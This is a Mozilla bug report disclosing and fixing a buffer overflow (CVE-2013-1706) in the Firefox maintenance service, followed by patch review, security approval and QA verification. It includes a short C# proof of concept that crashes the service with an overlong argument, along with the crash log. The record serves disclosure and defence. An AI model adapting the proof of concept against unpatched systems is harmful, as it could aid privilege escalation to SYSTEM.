888361 - (CVE-2013-1706) Buffer overflow in WriteStatusFailure in maintenanceservice.exe

Status: RESOLVED FIXED

(Toolkit :: Application Update, defect)

Description

[Seb Patane (he/him)]

Attachment: Proof of concept source + binary

The WriteStatusFailure function in updatehelper.cpp fails to check the length of the update directory path provided before copying it into a string with a buffer of only MAX_PATH+1 length (http://hg.mozilla.org/mozilla-central/file/942686767e5e/toolkit/mozapps/update/common/updatehelper.cpp#l396).

The maintenance service passes a user-provided argument directly into this function, which leads to a buffer overflow and potential arbitrary code execution with SYSTEM privileges.

C# Proof-of-concept:
using System;
using System.ServiceProcess;

namespace WriteStatusBufferOverflow
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                ServiceController c = new ServiceController("MozillaMaintenance");
                c.Start(new string[] {  "aaa",
                                    "software-update",
                                    @"c:\program files (x86)\Mozilla Firefox\updater.exe",
                                    (new String('A',999))
                                     });
            }
            catch (Exception e) { 
                Console.WriteLine(e);
            }
        }
    }
}

Replicated on Windows 7 x64 with maintenanceservice.exe version 23.0.0.4923. The result is an entry in the Windows application event log that looks similar to this:

Faulting application name: maintenanceservice.exe, version: 23.0.0.4923, time stamp: 0x51c81b22
Faulting module name: maintenanceservice.exe, version: 23.0.0.4923, time stamp: 0x51c81b22
Exception code: 0xc0000409
Fault offset: 0x00004628
Faulting process id: 0x3728
Faulting application start time: 0x01ce74230b086bb8
Faulting application path: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Faulting module path: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
...

Have attached a compiled proof-of-concept, let me know if you need any further details.

Comment 1

[Seb Patane (he/him)]

Note: WriteStatusPending in updatehelper.cpp is vulnerable as well, but doesn't appear to be exploitable for privilege escalation.

Comment 2

[Daniel Veditz [:dveditz] (OOO: back Aug 26)]

wcscpy()?! ALWAYS use the 'n' versions (e.g. wcsncpy) if there's no explicit length check otherwise.

Comment 3

[Brian R. Bondy [:bbondy]]

Attachment: Patch v1.

There are still a few cases of NS_tstrcpy we should also get rid of but this gets rid of all of the wcscpy in updater code.

Comment 4

[Robert Strong (they/them - no direct email)]

Comment on attachment 769173 [details] [diff] [review]
Patch v1.

I haven't looked at anything but this patch and will try to look over the code for other cases hopefully by Tuesday.

The last time we reviewed the updater.cpp for this type of problem it was determined that it wouldn't get us in trouble but go ahead and file a bug for NS_tstrcpy.

Comment 5

[Brian R. Bondy [:bbondy]]

Comment on attachment 769173 [details] [diff] [review]
Patch v1.

Requesting approval to land on try, oak, and m-i.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
A crash easily, I'm not sure how easy it is to execute something elevated.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No comments, but the content of the patch seems somewhat obvious what it's fixing.

Which older supported branches are affected by this flaw?
All for at least 10 versions.

If not all supported branches, which bug introduced the flaw?
bug 481815

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Should be the same patch everywhere.

How likely is this patch to cause regressions; how much testing does it need?
Not likely after I test on oak.

Comment 6

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 769173 [details] [diff] [review]
Patch v1.

sec-approval+ for trunk. We should take this downstream on branches and get this out in the next release. We've fixed enough maintenance service and updater issues now that smart people would be looking for more.

Comment 7

[Brian R. Bondy [:bbondy]]

(In reply to Al Billings [:abillings] from comment #6)
> Comment on attachment 769173 [details] [diff] [review]
> Patch v1.
> 
> sec-approval+ for trunk. We should take this downstream on branches and get
> this out in the next release. We've fixed enough maintenance service and
> updater issues now that smart people would be looking for more.

Agreed although I think it's already a target for smart people given that updater and installer are the only places we execute code in an elevated context on Windows.

Comment 8

[Brian R. Bondy [:bbondy]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/d2df630c6f11

Comment 9

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/mozilla-central/rev/d2df630c6f11

Comment 11

[Brian R. Bondy [:bbondy]]

Comment on attachment 769173 [details] [diff] [review]
Patch v1.

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined:
It is a sec:high
A process that already has local access could potentially get elevated access.
Buffer overflow, someone could write into process memory and possibly cause it to jump to execute their own code

Bug caused by (feature/regressing bug #): 
bug 481815

Fix Landed on Version:
mozilla25

Risk to taking this patch (and alternatives if risky): 
Low

String or UUID changes made by this patch: 
None

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Comment 12

[Brian R. Bondy [:bbondy]]

https://hg.mozilla.org/releases/mozilla-beta/rev/42bf5244cbf3
https://hg.mozilla.org/releases/mozilla-aurora/rev/3623473e7948
https://hg.mozilla.org/releases/mozilla-esr17/rev/683456dd2a52

Comment 13

[Matt Wobensmith [:mwobensmith][:matt:]]

Hi Seb, I'd like to verify this bug fixed using your PoC files and our latest FF builds. 

Can you provide step-by-step instructions on how to see this in action, so that I can verify the original problem and the fix? 

Thank you from the Mozilla QA department.

Comment 14

[Matt Wobensmith [:mwobensmith][:matt:]]

Seb sent me instructions in an email, so with that help, we could verify.

Confirmed issue using 17.0.7esr, and FF22.
Confirmed fixed using 17.0.8esr candidate, FF23 candidate and today's m-c nightly.